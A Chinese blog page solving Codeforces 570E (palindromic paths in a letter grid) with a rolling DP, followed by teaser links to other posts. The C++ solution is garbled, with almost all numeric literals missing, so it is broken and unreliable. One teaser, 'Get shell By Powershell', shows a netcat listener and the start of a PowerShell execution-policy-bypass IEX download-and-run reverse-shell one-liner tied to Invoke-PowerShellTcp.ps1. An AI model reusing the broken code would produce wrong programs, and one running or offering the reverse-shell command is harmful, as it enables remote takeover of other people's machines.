题目链接:https://codeforces.com/problemset/problem/570/E

题意:

给出 $n \times m$ 的网格,每一格上有一个小写字母,现在从 $(1,1)$ 位置走到 $(n,m)$ 位置,要求经过路径构成一个回文串。

要求走路方向保证坐标不会减小(即只能往下或者往右走),要求你给出路径方案数目。

题解:

考虑 $f[x_1][y_1][x_2][y_2]$ 表示一端从 $(1,1)$ 出发,走到了 $(x_1,y_1)$,同时另一端从 $(n,m)$ 出发,走到了 $(x_2,y_2)$,此时形成回文串的数目。

这个是不难维护的,主要问题是这个维数过多,开不下。然后不难发现,如果用 $f[step][x_1][x_2]$ 来维护,可以通过步数 $step$ 和 $x$ 算出 $y$,

然后更进一步可以发现 $step$ 不需要全部维护,可以使用滚动优化。

AC代码:

#include<bits/stdc++.h>
using namespace std;
typedef long long ll;
const ll mod=1e9+;
const int SIZE=; int n,m;
char mp[SIZE][SIZE];
ll f[][SIZE][SIZE]; inline bool In(int x,int y)
{
return <=x && x<=n && <=y && y<=m;
}
int main()
{
cin>>n>>m;
for(int i=;i<=n;i++) scanf("%s",mp[i]+); int now=;
memset(f[now],,sizeof(f[now]));
f[now][][n]=(ll)(mp[][]==mp[n][m]);
for(int step=;step<=(n+m)/-;step++)
{
now^=;
memset(f[now],,sizeof(f[now]));
for(int x1=;x1<=n;x1++)
{
for(int x2=n;x2>=;x2--)
{
int y1=step+-x1, y2=n+m-step-x2;
if(!In(x1,y1) || !In(x2,y2)) continue;
if(mp[x1][y1]!=mp[x2][y2]) continue; f[now][x1][x2]+=f[now^][x1][x2];
f[now][x1][x2]%=mod; f[now][x1][x2]+=f[now^][x1-][x2+];
f[now][x1][x2]%=mod; f[now][x1][x2]+=f[now^][x1-][x2];
f[now][x1][x2]%=mod; f[now][x1][x2]+=f[now^][x1][x2+];
f[now][x1][x2]%=mod;
}
}
} ll ans=;
if((n+m)%)
{
for(int i=;i<=n;i++) ans+=f[now][i][i], ans%=mod;
for(int i=;i<n;i++) ans+=f[now][i][i+], ans%=mod;
}
else
{
for(int i=;i<=n;i++) ans+=f[now][i][i], ans%=mod;
}
cout<<ans<<endl;
}

Codeforces 570E - Pig and Palindromes - [滚动优化DP]的更多相关文章

  1. CodeForces 311 B Cats Transport 斜率优化DP

    题目传送门 题意:现在有n座山峰,现在 i-1 与 i 座山峰有 di长的路,现在有m个宠物, 分别在hi座山峰,第ti秒之后可以被带走,现在有p个人,每个人会从1号山峰走到n号山峰,速度1m/s.现 ...

  2. Codeforces 643C Levels and Regions 斜率优化dp

    Levels and Regions 把dp方程列出来, 把所有东西拆成前缀的形式, 就能看出可以斜率优化啦. #include<bits/stdc++.h> #define LL lon ...

  3. CodeForces 834D The Bakery(线段树优化DP)

    Some time ago Slastyona the Sweetmaid decided to open her own bakery! She bought required ingredient ...

  4. CodeForces - 459E Pashmak and Graph[贪心优化dp]

    E. Pashmak and Graph time limit per test 1 second memory limit per test 256 megabytes input standard ...

  5. Codeforces 311B Cats Transport【斜率优化DP】

    LINK 题目大意 有一些猫,放在一些位置,人一步移动一个位置 给出每个猫出现的时间,每个人可以自由安排其出发时间,沿途已经出现的猫捡起,猫等待的时间是被减去的时间减去出现的时间 猫可以等人,人不能等 ...

  6. CodeForces - 1175E Minimal Segment Cover (倍增优化dp)

    题意:给你n条线段[l,r]以及m组询问,每组询问给出一组[l,r],问至少需要取多少个线段可以覆盖[l,r]区间中所有的点. 如果贪心地做的话,可以求出“从每个左端点l出发选一条线段可以到达的最右端 ...

  7. Codeforces 351C Jeff and Brackets 矩阵优化DP

    题意:你要在纸上画一个长度为n * m的括号序列,第i个位置画左括号的花费是a[i % n], 画右括号的花费是b[i % n],问画完这个括号序列的最小花费.n <= 20, m <= ...

  8. CodeForces - 512B Fox And Jumping[map优化dp]

    B. Fox And Jumping time limit per test 2 seconds memory limit per test 256 megabytes input standard ...

  9. codeforces 570 E. Pig and Palindromes (DP)

    题目链接: 570 E. Pig and Palindromes 题目描述: 有一个n*m的矩阵,每个小格子里面都有一个字母.Peppa the Pig想要从(1,1)到(n, m).因为Peppa ...

随机推荐

  1. 每天一个linux命令:iostat

    1.命令简介 iostat(I/O statistics 输入/输出统计) 命令对系统的磁盘操作活动进行监视.它的特点是汇报磁盘活动统计情况,同时也会汇报出CPU使用情况 2.用法 iostat [ ...

  2. [转]numpy 100道练习题

    100 numpy exercise 翻译:YingJoy 网址: https://www.yingjoy.cn/ 来源:https://github.com/rougier/numpy-100 Nu ...

  3. Linux下清理内存和Cache方法见下文:

    暂时目前的环境处理方法比较简单: 在root用户下添加计划任务: */10 * * * * sync;echo 3 > /proc/sys/vm/drop_caches; 每十分钟执行一次,先将 ...

  4. Springboot2.x 集成jsp

    1.添加pom依赖 <!--引入springboot 内嵌tomcat对jsp的解析包--> <dependency> <groupId>org.apache.to ...

  5. Python之练习数学运用代码

    1.对数函数 import math import matplotlib.pyplot as plt import numpy as np if __name__ == '__main__': x = ...

  6. How the heck does async/await work in Python 3.5

    https://snarky.ca/how-the-heck-does-async-await-work-in-python-3-5/

  7. Get shell By Powershell

    Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX (New-Objec ...

  8. 100BASE-TX、100Base-FX等含义

    100BASE-TX:双绞线,使用两对非屏蔽双绞线或两对1类屏蔽双绞线连接,传输距离100米 100Base-FX,是在光纤上实现的100 Mbps以太网标准,其中F指示光纤,IEEE标准为802.3 ...

  9. Sql Server 中将由逗号“,”分割的一个字符串转换为一个表集,并应用到 in 条件中

    Sql Server 中将由逗号“,”分割的一个字符串,转换为一个表,并应用与 in 条件 ,,) 这样的语句和常用,但是如果in 后面的 1,2,3是变量怎么办呢,一般会用字符串连接的方式构造sql ...

  10. Java开发工程师面试题1

    时间2019-1-2 地点上海 package service; import java.text.SimpleDateFormat; import java.util.Date; public cl ...